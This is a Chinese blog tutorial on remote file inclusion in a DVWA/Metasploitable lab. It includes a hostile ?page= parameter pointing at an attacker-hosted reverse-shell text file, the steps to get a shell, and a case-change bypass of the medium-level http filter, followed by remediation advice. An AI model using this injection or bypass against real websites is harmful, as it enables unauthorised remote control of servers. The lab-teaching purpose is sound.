渗透测试之远程文件包含

一、远程文件包含环境配置。

远程文件包含与上篇讲到的本地文件包含不同,是一种特例。

我们需要到Metasploit配置一下环境。

sudo nano  /etc/php5/cgi/php.ini            PHP配置文件

渗透测试之远程文件包含

 

 

 

ctrl+w 搜索allow_url ,将allow_url_include = Off 改成On ctrl+x退出

渗透测试之远程文件包含

 

 

 完成后重启Web服务器

sudo etc/init.d/apache2 restart

渗透测试之远程文件包含

 

======================================================================================================

 

二、远程文件包含漏洞-发现和利用

  1. 创建一个reverse.txt文本文件,里面写入反弹shell的php代码如下:

渗透测试之远程文件包含

 

 

   2.将reverse.txt放入 /var/www/html文件夹下

 渗透测试之远程文件包含

 

  3.本地浏览器访问查看

  首先,kali开启web服务

  渗透测试之远程文件包含

 

  然后浏览器访问:这里是txt不是php,因为我们不需要攻击主机去执行,需要的是目标服务器远程执行这条命令。

  渗透测试之远程文件包含

 

 

   开启监听端口:

  渗透测试之远程文件包含

 

  返回dvwa 文件包含那部分输入   ?page=http://192.168.164.128/reverse.txt?

  渗透测试之远程文件包含

 

 

   监听端口成功连接,获得目标主机的控制权。

 

=================================================================

 

 三、利用高级远程文件包含漏洞入侵网站。

将security level 设置为medium重复上述步骤,发现该漏洞已经修复。

渗透测试之远程文件包含

 

 

 报错,说明中级的防护应该做了过滤,我们试试过滤有没有对大小写进行限制。http修改成Http发现命令执行,说明过滤器对大小写不敏感,容易绕过。

渗透测试之远程文件包含

 

 

 

 

查看源码发现也只是过滤了http://  https://   所以使用过滤器并不是很好的防护,容易遗漏,过滤不全。

渗透测试之远程文件包含

 

==========================================================================================

 

 

 四、安全性-修复文件包含漏洞

  1)RFI 远程文件包含漏洞解决方法:

  禁止 allow_url_fopen & allow_url_include

  sudo nano  /etc/php5/cgi/php.ini

  渗透测试之远程文件包含

 

 

 

  2)LFI 本地文件包含漏洞解决方法:

  使用静态的文件包含

  渗透测试之远程文件包含

 

 

上一篇:java中public private protected default的区别


下一篇:laravel 导入数据库